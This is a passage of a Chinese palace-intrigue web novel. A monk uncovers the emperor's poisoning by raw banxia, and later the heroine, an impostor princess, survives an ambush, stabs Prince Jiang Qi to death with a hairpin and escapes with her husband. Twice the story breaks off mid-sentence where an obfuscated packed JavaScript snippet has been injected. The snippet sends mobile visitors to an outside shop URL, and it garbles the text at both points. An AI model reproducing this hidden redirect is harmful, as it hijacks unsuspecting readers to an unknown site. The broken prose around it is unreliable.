见乔景芝入内,他有些惊讶。听说了原委之后有些责怪乔景芝:“不过是感冒风寒,居然还专门让太后烦心,实在是欠考量。” 又转头向慧通法师道了谢:“劳烦大师专程跑一趟。” 皇上声音嘶哑,说了这几句便开始剧烈地咳嗽。 皇后急忙走上前去,拿了帕子为皇上拍背顺气。 慧通法师先为皇上请了脉,后退出里间,让侍从服侍皇上休息。 出了门,慧通让侍从将皇帝吃着的方子和药渣连同脉案一同取来。乔景芝想了想,让平安一同跟着去了。 “公主是怕本宫的人做什么手脚吗?”皇后有些意外,问道。 “我只是担心有什么错漏罢了。平安手脚麻利,跟着不妨事。” 不多时,平安便带着东西回来了。 “公主,这是药方、病案和药渣。药渣是小的从药罐里刚倒出来的,还热乎着,没让旁人经手。” 乔景芝点点头,慧通法师上前去查看。 他先是看了病案,而后细细地查看了药材。回头躬身道:“回皇后娘娘、公主殿下的话,这个药方里的半夏用的是生半夏,不宜直接入药。” 他接着道:“皇上口舌肿胀、声音嘶哑,病案也记录皇上腹泻头痛,都是生半夏中毒所致。” “什么?皇上他不是生病……是中毒?”皇后震惊道。 她原本就因过度操劳而面色苍白,现在更是有些晕眩,直接跌坐在了椅子上,被身后的花屏急急扶住。 “你胡说八道什么呢!药方是请了太医院的太医都看过的,怎么可能让皇上吃了中毒的药!是不是你给了法师什么好处……”花屏愤愤质问乔景芝。 “出家人不打诳语。这药方是没什么问题,只是药材却将药方中的‘法半夏’换成了未经炮制的‘生半夏’。若姑娘不信,大可以请了太医院的诸位一一查验。”慧通拨动念珠,念了句佛。 皇后也渐渐缓过神来,回头微嗔了花屏,怨她过于急躁,转头对慧通道:“本宫不是不信大师,只是实在有些出乎意料。药材这些都是有人专门送来,由本宫贴身的侍女亲手煎来给皇上服下的,这中间并未假借他人之手,怎么会让有毒的药材进了药罐呢?” “那皇后娘娘可倒要仔细想想,是谁送来的药材了。”乔景芝嗤笑。 花屏迟疑道:“娘娘,药材是三皇子送来的。他说,他那里有品质上好的药材,主动要为娘娘分忧……” 11. 反击 “江期?怎么可能是期儿呢?一定是哪里弄错了。快,期儿现在在哪里?你们快把期儿找来,这件事一定可以解释的!”皇后慌了神,急急地派侍女去将三皇子寻来。 “娘娘别着急,三皇子今早凌晨便出门了,现在还没回来。刚才已经派人去找了。”花屏关切地安慰皇后。 乔景芝见皇后主仆神色慌乱,没有管她们,只是低声问慧通道:“法师,父皇中的毒可有化解的方子?” 慧通道:“皇上中毒已久,毒素恐怕已伤及肝肾,身体难以恢复如初。但若是调理得当,日常起居倒是能够维持的。” 乔景芝微微颔首:“那就劳烦法师多费心了。” 太医得了传召急匆匆赶来,“扑通”一下跪在皇后面前,慌慌张张地求饶道:“娘娘饶命,娘娘饶命!这配药原本是太医院的活,只是先前三皇子说,这些事不用老臣插手,只是让老臣给了方子便妥了。皇上症状也与风寒无异,便没往中毒上面想啊。” “糊涂东西,皇上龙体欠安,竟也不细心照看着,实在是白吃那么多年的俸禄!还不快看看皇上的身子!” 太医急忙应了,提着药箱进了内室。 皇上身子不适,加之药中毒素,服下后又昏睡过去。一群人在院内说话竟也没察觉。 太医为其把脉,新开了一剂解毒药方,交由身后小童去取药煎。 “皇上吃了药,要多久才能痊愈呢?”皇后因疏忽犯下大错,心中有些愧疚,又似乎是担心三皇子,手帕掩面轻轻啜泣道。 “回娘娘的话,”太医擦着额角的冷汗,俯下身回话道,“皇上中毒已久,微臣只能渐渐地用方子调理。约摸……至多半个月便能下床走动了。” “慧通法师可有什么见解吗?”乔景芝在一旁看着,出声道。 “阿弥陀佛。老衲刚刚看了太医的方子,并没有什么错漏,只是用药保守。若是其中再加一味密银花一同煎服,加之其清热解毒的功效,于皇上病情会更有益处。” “微臣受教。只是这密银花是珍贵贡品,数量稀少,宫中未有存量,且目前未到进贡的时节,这……” “皇上曾赏赐本宫各类名贵草药,府上还有些密银花。虽说放了些年月,药性不如新供的,总归聊胜于无,可以用来救急。”乔景芝接上了话。 她曾细细盘点过库房,对府上和庄户里有的东西了如指掌,此刻终于派上了用场。 “娘娘,皇上肠胃不适,又将午膳吐出来了。”殿内伺候的侍女出来汇报。 “吐出来也好,将那毒药吐出来,身体便也少受点伤害。”皇后垂下眼睛,无奈道。 “那既如此,本宫便先带着法师回府,取了密银花给皇上送来。还要请娘娘安置慧通法师,毕竟是太后请的贵客,有法师看着,皇上也能少些苦楚。”乔景芝见三皇子一时寻不回来,不能对质,便要回去取药。 “驸马呢?让他把库房单子取来。”下了马车,乔景芝火急火燎冲进府里,问旁边扫地的婆子。 “驸马吃了早膳便出门了,说去庄子里取些药材来,他说公主可能会用到,现下还未回来呢。”婆子回答乔景芝道。 “公主您回来了,驸马在书房留了条子。”玉竹见乔景芝回来,迎上前,递上了纸。 “若我申时未归,去孙氏庄中寻我。” 乔景芝皱着眉头将那纸片翻来覆去,但上面确实只写着这一句简短的话。 “走之前他没交代什么?”乔景芝摸不着头脑。 身旁的侍女婆子都摇摇头,面面相觑。 她叹了口气,在外奔波一天已经有些疲惫,此时杨嘉时竟又给她找了麻烦。 “去孙庄吧。”乔景芝吩咐道,又转头向门外走去。 门外的马车甚至还没有离开。 她不知道杨嘉时卖的什么关子,但他既然开口,大约是需要她的帮助。 孙庄在皇城外不远的山坡上,由庄主孙二管着。每年向府上上交的收成,在公主名下各庄中算不上拔尖,但胜在孙二会来事,常将头茬瓜果蔬菜等按时节奉上,他的名声倒不差。 只是,孙庄并不种植草药,杨嘉时要寻药材,怎么会找到孙庄去呢? 天色擦黑,乔景芝靠着车壁昏昏欲睡。 马车行至山道,车厢外有风拂过,掀起车帘一角,乡野间的泥土气涌了进来。 “嗖————” 一支利箭破空飞来,穿透了车壁,擦着她的发钉入了车厢另一侧的木板中,箭尾震颤,嗡嗡作响。 乔景芝惊醒,立马伏下身去,反手抓起腰枕挡在身侧。 “有刺客!” “保护公主!” 车外的侍卫大喊。 紧接着,第二支、第三支。 箭雨从山道外侧的密林处倾泻而下,带着尖啸声钉入马车。 木屑飞溅,马匹受惊嘶鸣,车身剧烈倾斜。 一片混乱中,乔景芝竟还能听见马车外箭矢刺入皮肉的“噗嗤”声和被射中的侍卫的痛呼声。 乔景芝伏在车厢底板上,双臂护住头,她的肩头被飞溅的木刺划了一道深深的血痕,耳畔是箭矢凿穿木板的密集声响。 “公主!”平安一把掀开车帘。 他踩住车辕,撑住侧板,努力让摇晃的车维持平衡,护着乔景芝从车窗翻出。 “公主,向山里跑!”平安低声道,用力推了乔景芝一把。 环顾四周,侍卫死的死伤的伤,没有一战之力。 乔景芝咬咬牙,拼尽全力扭头向山林深处跑去。 她的左脚踝在慌乱中扭伤,她实在无力再跑,停下脚步,抬头看了看高耸的树木。 乔景芝忍着钝痛,弯腰将沾满泥浆的裙裾下摆一把撕下,扔在了一边。 她在树干上踏了踏,挽起袖子奋力向树上爬去。 爬了一丈高,她在一根粗壮的树杈处停了下来,努力稳住身形,将身体蜷缩进树叶的阴影中。 她听见远处传来说话的声音,尽力屏住呼吸。 一黑一白两个人影渐渐走近,是两名男子,身后跟着十几个黑衣侍卫。 夜色深沉,乔景芝看不清他们面容。 “这是乔景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574981|204898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芝穿的裙子。”黑衣男子捡起乔景芝扔下的下摆道,“她经过了这里,应该就在附近。” 身后的侍卫四散开搜寻。 “江期,你答应了我不伤公主性命,不要忘了你我的约定。”白衣男子出声,竟是杨嘉时的声音。 江期冷哼道:“公主?只不过个冒牌货罢了。你还没看见吗?她的身手,哪像一个习武多年的人?” “这和我们说好的不一样!”杨嘉时一把抓住江期的手腕道,“我信你被人陷害给皇上下毒,可是也没有证据指明就是公主下的手,你不能把人就这样杀了。” “是是是。”江期将他的手掸开,不屑道,“我当然要留下她的性命,证明她只是一个贪恋皇家权势的替身,说的话算不得数。” 乔景芝坐在树杈上,惊出一身冷汗。 他们是什么时候知道自己的身份的? 除了他们,还有谁知道? 不行,不能留下活口。 她的拳头捏紧,飞速思考。 只是今日之前,她甚至没有出手伤过人。但是此刻性命攸关,如果落到江期手中,不说自己,恐怕爹爹也难逃一死。 杀人,总归与杀鸡并无太大区别。 她冷静观察。 侍卫在四周搜索,距离不是很近,但动静也不能太大,不能让他们有呼救的可能,须要一招毙命。 可是他们有两个人。 她未曾习武,凭她的身手,是不可能将他们二人同时制服的。 乔景芝垂下眼眸想,杨嘉时与江期争执要留下她的性命。或许,他们的合作并没有那么愉快。 只能赌一赌了。 乔景芝并没有随身带武器的习惯,她检查了身上带着的器物,最后从头上拔下一只发钗。钗尖锋利,勉强可以伤人。 为防止脱手,她解下腰带,将发钗牢牢绑在手上。略微活动了下脚腕,仍然有刺痛的感觉,但也没有办法了。 她解下香囊,丢向了远一些的地方。香囊落入草堆,发出了沙沙响声。 “谁?”江期猛地回头。 趁这个空隙,乔景芝抱着树暗无声息地往下滑,脚尖触地的一瞬间,向江期背后冲去。 江期听见动静转身,乔景芝猛地提起右膝,击中他的胃。 江期的身体因吃痛像虾米一样拱起,本能地想要张嘴叫喊,乔景芝便伸左手死死捂住他的嘴,借惯性将他撞倒在地。 乔景芝骑跨在他身上,膝盖压住他试图挣扎的手肘关节,整个人的重心都压在左掌上。他的脸颊被按得变形,眼睛瞪得几乎裂开。 一切都发生在电光火石之间,江期头晕目眩,将目光投向尚未反应过来的杨嘉时,向他求救。 杨嘉时下意识想要上前,乔景芝并未看他,只是冷冷威胁道:“想想杨家。” 然后高举手上尖钗,猛地将它钉入了江期的喉咙,在脖中大力搅动,又狠狠拔出。 “嗬,嗬……”江期剧烈挣扎,喉咙发出含糊的声音。 血液喷溅,他的手因痛苦在泥地上乱抓,但最后还是渐渐安静下来。 12. 逃逸 待江期彻底没了声息,乔景芝才松开捂在他脸上的手,慢慢从地上爬起来。 她满身满脸都是血,但是并没有时间让她擦去血迹。 她冷冷地盯着杨嘉时的脸,手中仍死死握着发钗,与他对峙。 她需要判断杨嘉时的目的到底是什么。 显然,他不想让自己死,至少现在不想。但他也留下纸条,让自己中了江期的圈套。 杨嘉时已经知道自己不是公主。 他不曾习武,但现在已经有了防备。 现在出手胜算有多少? 直接杀了他,还是……能够和他合作? 刚刚的打斗激烈,声音还是将搜寻的侍卫吸引过来,他们渐渐向这里靠近。 乔景芝扭头四下看了看,举起胳膊将钗尖对着杨嘉时,示意他向安全的方向走。 杨嘉时咽了咽口水。 他讶异凭空出现的乔景芝,也感叹她能干净利落地解决江期,又有些懊恼没能将他救下,让事情难以收场。 看得出她下手生疏,大约是强烈的求生欲迫使她能够完整地完成这一系列操作。 只是此刻她竟没有对自己动手,应当是刚刚听见了对话,明白自己对她没有明显的恶意。 他听见了不远处守卫踩在干枯树枝上窸窸窣窣的声音,也知道江期的尸体很快会被人发现。 此刻情况紧急,也没时间解释自己为何会与江期一同出现在这里,只能缓缓举起双手,表明自己并无反抗的意愿,听从乔景芝的指引缓缓躲进了密林深处。 “绕过这个山头便是孙庄了。”杨嘉时在前头走着,微微侧过头道,“天黑路滑,你小心些。” “不需要你假好心。”乔景芝冷哼一声,“别想使什么花招。到了孙庄,什么该说,什么不该说,想必你都清楚。” “我没想和你套近乎。你不用担心我说漏嘴,不如说,我早些时候就知道你不是公主本人了。” “是你和江期说的?”乔景芝血气翻涌,三步并作两步,手腕勒住杨嘉时的脖子,钗子紧紧抵在他的腰侧。 原本一切都在自己的掌控之中,眼见着就能将江期做的事情公之于众。都怪他,非要节外生枝,让自己计划出现偏差,不得不承担弑兄的罪名。 “你想做什么?你和江期私下联系,到底进行了什么交易?”乔景芝咬牙切齿。 杨嘉时被勒的说不出完整的句子,只能憋红脸拍她的胳膊,将声音挤出喉咙:“不是……我说的……” 乔景芝松开手,朝他背上踹了一脚,将他踢倒在地上。 她小臂用力压在他的脖子上,钗子抵住他的喉咙道:“你与我朝夕相处,能看出破绽,我不意外。他一个久居宫中的皇子,没有你的提醒,如何能知道我并非公主?” “他曾在养心殿门口与你相遇,当时你对他态度反常,没有理会他的挑衅……” “只是这样就能断定?你当我是三岁孩童吗!”乔景芝将钗子压了压,威胁道。 “并且,他曾与公主比试,使了下三滥的手段,用提前磨好的石片偷袭公主,在公主后脖处留下了伤痕。那日他看见你脖颈处并无伤痕。” “那你为何和他在一起给我设套?” “他说手上有一份反贼名单,要我用你的行踪换,他说他是无辜的,要与你讨论明白。” 乔景芝默了默,爬了起来,对着杨嘉时伸出了手。 杨嘉时搭在了她的手上,接受了她的好意。 他拍了拍身上的泥土,原本月白色的袍子已混合着泥水和血水,看不见底色。 “力气倒不小。”他小声嘀咕。 “就算不是你把事情泄露给江期,这些事情也该与我商量。你轻信他的话,让我身陷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579309|204898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险境差点被害死。”乔景芝继续赶路,只是余怒未消,还恶狠狠瞪着他。 走下山坡,远远能看见孙庄的轮廓。 “我们不能直接进去。江期死了,你我便是最大的嫌疑人。我的目的地本就是孙庄,那孙庄必然会被重点监视。”乔景芝站在山坡上,远远望着院内星星点点的灯笼,静静分析道。 杨嘉时站在她身侧,静静看着她,没有开口。 “你会骑马吗?”乔景芝偏头问他。 杨嘉时点了点头。 “待会我们从侧边寻找缺口,绕进庄子里,牵一匹马出来。”乔景芝伸出手,远远点着,在庄外绕了半圈,指挥道。 “骑了马我们也进不了皇宫。皇后必定想将我们拆之入腹。现下身边并无侍卫保护,恐怕不等进城,便会被悄无声息地杀掉。” “你忘了?太后也在京郊,皇后的手也伸不了那么长。” 二人偷偷绕过正门。正门处果然有侍卫守着,看穿戴不像是宫里派来的,大约是宫中还未传旨,是江期自己的侍从。 他们溜到侧边,寻了个矮墙翻入院内,正巧是一间下人房。 正是晚膳时间,院内没有人。 他们取了个布包,在屋内的衣箱中拿了两件粗布衣服。 乔景芝用水桶打了水,草草擦拭了身子,换上了干净衣服。 她将头上钗环首饰尽数取下,又用水过了遍头发,将头发束成一束,这才清爽了一些。 杨嘉时将脏污衣物塞在了后院的柴木堆里,伸手招呼乔景芝要去马厩牵马去。 乔景芝正要抬腿跟上,却猛地拉住杨嘉时的腰带,将他带进了木堆的阴影中。 两个农户走来,嘴里骂骂咧咧抱怨道:“本来就忙,竟还要随他们去找人。这山就这么大,藏了两个人还能找不到。大人物杀这杀那,怎地还能将我们牵连了?”